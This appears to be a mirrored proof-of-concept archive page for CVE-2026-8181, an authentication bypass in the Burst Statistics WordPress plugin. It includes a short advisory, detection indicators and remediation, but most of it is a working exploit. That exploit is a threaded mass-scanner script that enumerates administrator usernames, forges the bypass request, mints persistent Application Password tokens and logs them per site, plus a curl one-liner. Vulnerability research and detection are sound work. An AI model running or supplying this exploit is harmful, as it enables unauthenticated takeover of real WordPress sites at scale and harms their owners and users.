PoC Archive PoC Archive
Critical CVE-2026-8181 patched

Burst Statistics WordPress Plugin Authentication Bypass to Admin Account Takeover (CVE-2026-8181)

by Chloe Chamberland (Wordfence PRISM) · 2026-07-05

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherChloe Chamberland (Wordfence PRISM)
CVE / AdvisoryCVE-2026-8181
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
Tagswordpress, burst-statistics, authentication-bypass, cwe-287, application-password, account-takeover, mainwp
RelatedN/A

Affected Target

FieldValue
Software / SystemBurst Statistics – Privacy-Friendly WordPress Analytics (burst-statistics plugin)
Versions Affected3.4.0 – 3.4.1.1 (fixed in 3.4.2)
Language / PlatformPHP / WordPress
Authentication RequiredNo (attacker must know a valid administrator username)
Network Access RequiredYes

Summary

Burst Statistics’ is_mainwp_authenticated() function (in class-mainwp-proxy.php) checks whether wp_authenticate_application_password() returned a WP_Error, but does not verify that it returned an actual WP_User. When the call is made outside WordPress’s normal REST API authentication flow, the application_password_is_api_request filter causes wp_authenticate_application_password() to return null — which is not a WP_Error, so the flawed check passes. This lets an unauthenticated attacker who only knows an administrator’s username send a single crafted HTTP request (with an X-BurstMainWP: 1 header and a bogus Basic Auth value) to become that administrator, then mint a persistent WordPress Application Password via the /burst/v1/mainwp-auth REST endpoint — achieving full site takeover.


Vulnerability Details

Root Cause

is_mainwp_authenticated() only checks is_wp_error($is_valid) on the result of wp_authenticate_application_password(). Outside the REST API auth context, that function returns null (not a WP_Error), so the check incorrectly passes and wp_set_current_user() is called with the attacker-chosen admin’s ID — CWE-287 (Improper Authentication).

Attack Vector

  1. Send X-BurstMainWP: 1 plus a fabricated Authorization: Basic <base64(admin_username:anything)> header to trigger has_admin_access()is_mainwp_authenticated().
  2. wp_authenticate_application_password() returns null (not in REST API context) → is_wp_error(null) is false → check passes → wp_set_current_user() sets the current user to the named administrator.
  3. POST to /burst/v1/mainwp-auth (or /?rest_route=/burst/v1/mainwp-auth), which mints and returns a WordPress Application Password for that admin, base64-encoded as username:app_password.
  4. Use the Application Password for persistent, full admin-level WordPress REST API / wp-admin access (create backdoor admins, install plugins, exfiltrate data, etc.).

Impact

Unauthenticated, full administrator account takeover and persistent access to the entire WordPress site — enabling remote code execution via plugin/theme installation, site defacement, data exfiltration, and account proliferation.


Environment / Lab Setup

Target:   WordPress site running Burst Statistics 3.4.0 - 3.4.1.1
Attacker: Any HTTP client; requires knowledge of (or ability to enumerate) an admin username

Proof of Concept

PoC Script

See exploit_burst_statistics.py in this folder.

1
2
3
4
5
python3 exploit_burst_statistics.py -t http://target.com --no-confirm

python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm

python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm

Manual equivalent:

1
2
3
4
5
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
  -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
  -H 'X-BurstMainWP: 1' \
  -H 'Content-Type: application/json' \
  -d '{}'

The script auto-detects the plugin version (skipping patched targets), enumerates the admin username if not supplied, sends the auth-bypass request, and validates/returns the minted Application Password token.


Detection & Indicators of Compromise

grep "X-BurstMainWP" access.log

Signs of compromise:

  • Requests containing the X-BurstMainWP: 1 header combined with a Basic Auth value that does not correspond to a real login.
  • Unexpected calls to /burst/v1/mainwp-auth or /?rest_route=/burst/v1/mainwp-auth.
  • New/unrecognized WordPress Application Passwords on administrator accounts.
  • Unauthorized administrator accounts or unexpected user creation.

Remediation

ActionDetail
Primary fixUpdate Burst Statistics to 3.4.2 or later, which forces the application_password_is_api_request filter to true, requires the result be a WP_User instance, and uses hash_equals() for username verification
Interim mitigationDisable the plugin until patched; revoke all existing Application Passwords for admin accounts; review logs for the X-BurstMainWP header

References


Notes

Mirrored from https://github.com/Yucaerin/CVE-2026-8181 on 2026-07-05. Wordfence reported active exploitation in the wild shortly after disclosure (2026-05-15).

exploit_burst_statistics.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
CVE-2026-8181 Mass Scanner / Exploit
Burst Statistics 3.4.0 - 3.4.1.1 — Authentication Bypass to Admin Account Takeover

Educational / Authorized Testing Only

BREAKTHROUGH:
1. is_mainwp_authenticated() calls wp_authenticate_application_password() but
   only checks is_wp_error(). When called outside REST API context, WP returns null.
2. null is NOT WP_Error → auth check PASSES → wp_set_current_user(admin_id).
3. X-BurstMainWP: 1 header triggers this path during plugins_loaded.
4. Attacker hits /burst/v1/mainwp-auth with Basic Auth (any password) + 
   X-BurstMainWP: 1 → gets WordPress Application Password token.
5. Token = base64(username:app_password) → persistent admin access.
"""

import argparse
import base64
import concurrent.futures
import json
import re
import sys
import threading
import urllib3

import requests
from urllib.parse import urljoin

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ───────────────────────────────────────────
# ANSI colors (auto-disable if not TTY)
# ───────────────────────────────────────────
if sys.stdout.isatty():
    R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"; B = "\033[94m"; C = "\033[96m"; W = "\033[0m"
else:
    R = G = Y = B = C = W = ""


class BurstStatisticsExploit:
    def __init__(self, target_url, verbose=False, timeout=20):
        self.target = target_url.rstrip('/')
        self.verbose = verbose
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': (
                'Mozilla/5.0 (Windows NT 10.0; Win64; x64) '
                'AppleWebKit/537.36 (KHTML, like Gecko) '
                'Chrome/120.0.0.0 Safari/537.36'
            ),
        })
        self.admin_user = None
        self.token = None

    def _log(self, msg):
        print(msg)

    def _dbg(self, msg):
        if self.verbose:
            print(f"[v] {msg}")

    def _get(self, url, headers=None):
        self._dbg(f"GET {url}")
        try:
            r = self.session.get(url, headers=headers, timeout=self.timeout)
            self._dbg(f"  status={r.status_code} len={len(r.text)}")
            return r
        except Exception as e:
            self._dbg(f"  error: {e}")
            return None

    def _post(self, url, headers=None, data=None, json_data=None):
        self._dbg(f"POST {url}")
        try:
            if json_data is not None:
                r = self.session.post(url, headers=headers, json=json_data, timeout=self.timeout)
            else:
                r = self.session.post(url, headers=headers, data=data, timeout=self.timeout)
            self._dbg(f"  status={r.status_code} len={len(r.text)}")
            return r
        except Exception as e:
            self._dbg(f"  error: {e}")
            return None

    # ───────────────────────────────────────────
    # Phase 0: Version Detection
    # ───────────────────────────────────────────
    @staticmethod
    def _parse_version(v):
        if not v:
            return None
        v = v.strip().lstrip('v').lstrip('V')
        v = re.split(r'[-+]', v)[0]
        parts = []
        for p in v.split('.'):
            try:
                parts.append(int(p))
            except ValueError:
                parts.append(0)
        return tuple(parts)

    def check_version(self):
        self._dbg("Phase 0: Detecting Burst Statistics version...")
        detected = None
        ver_str = None

        # Method 1: readme.txt Stable tag
        r = self._get(urljoin(self.target, '/wp-content/plugins/burst-statistics/readme.txt'))
        if r and r.status_code == 200:
            m = re.search(r'(?i)Stable tag:\s*([\d\.\w\-]+)', r.text)
            if m:
                ver_str = m.group(1).strip()
                self._dbg(f"Version from readme.txt: {ver_str}")
                detected = ver_str

        # Method 2: main PHP file header
        if not detected:
            r = self._get(urljoin(self.target, '/wp-content/plugins/burst-statistics/burst-statistics.php'))
            if r and r.status_code == 200:
                m = re.search(r'(?i)Version:\s*([\d\.\w\-]+)', r.text)
                if m:
                    ver_str = m.group(1).strip()
                    self._dbg(f"Version from burst-statistics.php: {ver_str}")
                    detected = ver_str

        # Method 3: CSS/JS asset query strings
        if not detected:
            r = self._get(urljoin(self.target, '/'))
            if r and r.status_code == 200:
                m = re.search(r'burst-statistics[^"\']+\?ver=([\d\.\w\-]+)', r.text)
                if m:
                    ver_str = m.group(1).strip()
                    self._dbg(f"Version from asset query string: {ver_str}")
                    detected = ver_str

        if not detected:
            self._dbg("Could not detect version — treating as UNKNOWN")
            return False, None, True

        parsed = self._parse_version(detected)
        target_v = self._parse_version("3.4.1.1")
        if parsed is None:
            return True, detected, True

        vulnerable = parsed <= target_v
        self._dbg(f"Parsed version: {parsed} | Vulnerable (<=3.4.1.1): {vulnerable}")
        return True, detected, vulnerable

    # ───────────────────────────────────────────
    # Phase 1: Admin Username Enumeration
    # ───────────────────────────────────────────
    def enumerate_admin(self):
        self._dbg("Phase 1: Enumerating admin username...")

        # Method 1: WordPress REST API users endpoint
        r = self._get(urljoin(self.target, '/wp-json/wp/v2/users?per_page=100&roles=administrator'))
        if r and r.status_code == 200:
            try:
                users = r.json()
                for u in users:
                    if 'administrator' in u.get('roles', []):
                        self.admin_user = u.get('slug', u.get('name', ''))
                        self._dbg(f"Admin found via REST API: {self.admin_user}")
                        return True
            except Exception:
                pass

        # Method 2: Try ugly permalink REST API
        r = self._get(urljoin(self.target, '/?rest_route=/wp/v2/users&per_page=100&roles=administrator'))
        if r and r.status_code == 200:
            try:
                users = r.json()
                for u in users:
                    if 'administrator' in u.get('roles', []):
                        self.admin_user = u.get('slug', u.get('name', ''))
                        self._dbg(f"Admin found via ugly REST: {self.admin_user}")
                        return True
            except Exception:
                pass

        # Method 3: Author page enumeration
        for i in range(1, 6):
            r = self._get(urljoin(self.target, f'/?author={i}'))
            if r and r.status_code in (200, 301, 302):
                m = re.search(r'/author/([^/"\']+)/?', r.text)
                if m:
                    candidate = m.group(1)
                    self._dbg(f"Author candidate: {candidate}")
                    # Verify it's admin by trying exploit
                    if self._test_username(candidate):
                        self.admin_user = candidate
                        return True

        # Method 4: Common usernames
        common = ['admin', 'administrator', 'user', 'root', 'manager', 'webmaster', 'owner']
        for user in common:
            if self._test_username(user):
                self.admin_user = user
                self._dbg(f"Admin found via common list: {self.admin_user}")
                return True

        return False

    def _test_username(self, username):
        """Quick test if username is valid admin by hitting the endpoint."""
        endpoint_pretty = urljoin(self.target, '/wp-json/burst/v1/mainwp-auth')
        endpoint_ugly = urljoin(self.target, '/?rest_route=/burst/v1/mainwp-auth')

        auth = base64.b64encode(f"{username}:anything".encode()).decode()
        headers = {
            'Authorization': f'Basic {auth}',
            'X-BurstMainWP': '1',
            'Content-Type': 'application/json',
        }

        for endpoint in [endpoint_pretty, endpoint_ugly]:
            r = self._post(endpoint, headers=headers, json_data={})
            if r and r.status_code == 200:
                try:
                    j = r.json()
                    if 'token' in j:
                        return True
                except Exception:
                    pass
            # 401 with rest_forbidden = user exists but auth failed (bug not triggered)
            # 403 rest_forbidden = user doesn't exist or no capability
            if r and r.status_code == 403:
                try:
                    j = r.json()
                    if j.get('code') == 'rest_forbidden':
                        # Could be existing user or non-existent
                        # We need more data, treat as possible
                        pass
                except Exception:
                    pass

        return False

    # ───────────────────────────────────────────
    # Phase 2: Exploit — Auth Bypass + App Password Mint
    # ───────────────────────────────────────────
    def exploit(self, username=None):
        if not username and not self.admin_user:
            return False, "no_admin_user"

        user = username or self.admin_user
        self._dbg(f"Phase 2: Exploiting for user '{user}'...")

        endpoint_pretty = urljoin(self.target, '/wp-json/burst/v1/mainwp-auth')
        endpoint_ugly = urljoin(self.target, '/?rest_route=/burst/v1/mainwp-auth')

        auth = base64.b64encode(f"{user}:anything".encode()).decode()
        headers = {
            'Authorization': f'Basic {auth}',
            'X-BurstMainWP': '1',
            'Content-Type': 'application/json',
        }

        for endpoint in [endpoint_pretty, endpoint_ugly]:
            self._dbg(f"  Trying: {endpoint}")
            r = self._post(endpoint, headers=headers, json_data={})
            if not r:
                continue

            self._dbg(f"  Response: HTTP {r.status_code}")
            self._dbg(f"  Body: {r.text[:500]}")

            if r.status_code == 200:
                try:
                    j = r.json()
                    if 'token' in j:
                        self.token = j['token']
                        self.admin_user = user
                        return True, j
                except Exception:
                    pass

            # If we get 401 with specific code, note it
            if r.status_code in (401, 403):
                try:
                    j = r.json()
                    code = j.get('code', '')
                    if code == 'rest_forbidden':
                        self._dbg(f"  403 forbidden — user '{user}' may not be admin or endpoint unreachable")
                    elif code == 'rest_no_route':
                        self._dbg(f"  404 no route — plugin not active or wrong endpoint")
                except Exception:
                    pass

        return False, "exploit_failed"

    # ───────────────────────────────────────────
    # Phase 3: Verification — Test the minted token
    # ───────────────────────────────────────────
    def verify_token(self):
        if not self.token:
            return False, "no_token"

        self._dbg("Phase 3: Verifying Application Password token...")

        # Decode token to get username:password
        try:
            decoded = base64.b64decode(self.token).decode('utf-8')
            parts = decoded.split(':', 1)
            if len(parts) != 2:
                return False, "invalid_token_format"
            user, pwd = parts
        except Exception as e:
            return False, f"token_decode_error: {e}"

        self._dbg(f"  Decoded: user={user} password={pwd[:10]}...")

        # Test token with WordPress REST API users endpoint
        auth = base64.b64encode(f"{user}:{pwd}".encode()).decode()
        headers = {'Authorization': f'Basic {auth}'}

        endpoints = [
            urljoin(self.target, '/wp-json/wp/v2/users/me'),
            urljoin(self.target, '/?rest_route=/wp/v2/users/me'),
        ]

        for ep in endpoints:
            r = self._get(ep, headers=headers)
            if r and r.status_code == 200:
                try:
                    j = r.json()
                    if j.get('id') and 'administrator' in j.get('roles', []):
                        return True, f"verified_admin_user_id_{j.get('id')}"
                    if j.get('id'):
                        return True, f"verified_user_id_{j.get('id')}"
                except Exception:
                    pass
            self._dbg(f"  Verify endpoint {ep}: HTTP {r.status_code if r else 'None'}")

        # Fallback: verify token structure is valid (base64 username:alphanumeric_password)
        if re.match(r'^[a-zA-Z0-9_\-]+:[a-zA-Z0-9]+$', decoded):
            return True, f"token_valid_structure_{len(pwd)}_chars"

        return False, "verify_failed"

    # ───────────────────────────────────────────
    # Full run
    # ───────────────────────────────────────────
    def run(self, username=None, verify=True):
        # Phase 0
        detected, ver_str, is_vulnerable = self.check_version()
        if detected and not is_vulnerable:
            return False, {
                "stage": "version_check",
                "reason": f"Burst Statistics version {ver_str} is PATCHED (> 3.4.1.1)",
                "version": ver_str,
            }

        # Phase 1
        if not username:
            if not self.enumerate_admin():
                return False, {
                    "stage": "enumeration",
                    "reason": "Could not enumerate admin username",
                    "version": ver_str,
                }

        # Phase 2
        user = username or self.admin_user
        success, detail = self.exploit(user)
        if not success:
            return False, {
                "stage": "exploit",
                "reason": detail,
                "username": user,
                "version": ver_str,
            }

        # Phase 3
        result = {
            "stage": "exploit_only",
            "username": user,
            "token": self.token,
            "detail": detail,
        }
        if ver_str:
            result["version"] = ver_str

        if verify:
            verified, vdetail = self.verify_token()
            result.update({
                "stage": "verified" if verified else "exploit_only",
                "verified": verified,
                "verify_detail": vdetail,
            })

        return True, result


# ═══════════════════════════════════════════
# Mass Scanner with Threading
# ═══════════════════════════════════════════

def normalize_url(url):
    url = url.strip()
    if not url:
        return None
    if not url.startswith(('http://', 'https://')):
        return f"http://{url}"
    return url


def scan_single_target(url, verbose=False, timeout=20, username=None):
    target = normalize_url(url)
    if not target:
        return url, "INVALID", {}

    try:
        exploit = BurstStatisticsExploit(target, verbose=verbose, timeout=timeout)
        success, details = exploit.run(username=username, verify=True)
        if success:
            return target, "VULNERABLE", details
        else:
            if details.get("stage") == "version_check":
                return target, "PATCHED", details
            return target, "SAFE/PATCHED", details
    except Exception as e:
        return target, "ERROR", {"error": str(e)}


def _write_vuln_to_file(lock, f, target, details):
    with lock:
        f.write(f"[VULNERABLE] {target}\n")
        f.write(f"  Username: {details.get('username', 'N/A')}\n")
        f.write(f"  Token:    {details.get('token', 'N/A')}\n")
        f.write(f"  Verified: {details.get('verified', False)}\n")
        f.write(f"  Detail:   {details.get('detail', 'N/A')}\n")
        f.write(f"  Time:     {__import__('datetime').datetime.now().isoformat()}\n")
        f.write("\n")
        f.flush()


def run_mass_scan(targets, threads=10, verbose=False, timeout=20,
                  username=None, output_file="result_burst_statistics.txt"):
    seen = set()
    unique_targets = []
    for t in targets:
        nt = normalize_url(t)
        if nt and nt not in seen:
            seen.add(nt)
            unique_targets.append(t)

    targets = unique_targets
    total = len(targets)
    print(f"\n{G}[+] Mass scan: {total} targets | Threads: {threads}{W}\n")

    results = []
    vulnerable = 0
    safe = 0
    patched = 0
    errors = 0
    file_lock = threading.Lock()

    with open(output_file, 'w', encoding='utf-8') as f:
        f.write("=" * 70 + "\n")
        f.write("CVE-2026-8181 Mass Scan Results (real-time vulnerable log)\n")
        f.write("=" * 70 + "\n\n")
        f.write(f"Started:      {__import__('datetime').datetime.now().isoformat()}\n")
        f.write(f"Total Targets: {total}\n")
        f.write(f"Threads:      {threads}\n")
        f.write(f"Username:     {username or 'auto-enumerate'}\n\n")

    with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
        future_to_url = {
            executor.submit(scan_single_target, url, verbose, timeout, username): url
            for url in targets
        }

        for future in concurrent.futures.as_completed(future_to_url):
            url = future_to_url[future]
            try:
                target, status, details = future.result(timeout=60)
            except Exception as e:
                target, status, details = url, "ERROR", {"error": str(e)}

            results.append((target, status, details))

            if status == "VULNERABLE":
                vulnerable += 1
                user = details.get('username', 'N/A')
                verified = details.get('verified', False)
                vstr = f"{G}[VERIFIED]{W}" if verified else f"{Y}[EXPLOITED]{W}"
                print(f"{G}[VULNERABLE]{W} {target} | User: {user} | Token: {details.get('token', 'N/A')[:30]}... {vstr}")
                with open(output_file, 'a', encoding='utf-8') as f:
                    _write_vuln_to_file(file_lock, f, target, details)
            elif status == "PATCHED":
                patched += 1
                ver = details.get('version', 'N/A')
                print(f"{B}[PATCHED]{W} {target} | Burst Statistics {ver} > 3.4.1.1")
            elif status == "SAFE/PATCHED":
                safe += 1
                reason = details.get('reason', 'N/A')
Showing 500 of 664 lines View full file on GitHub →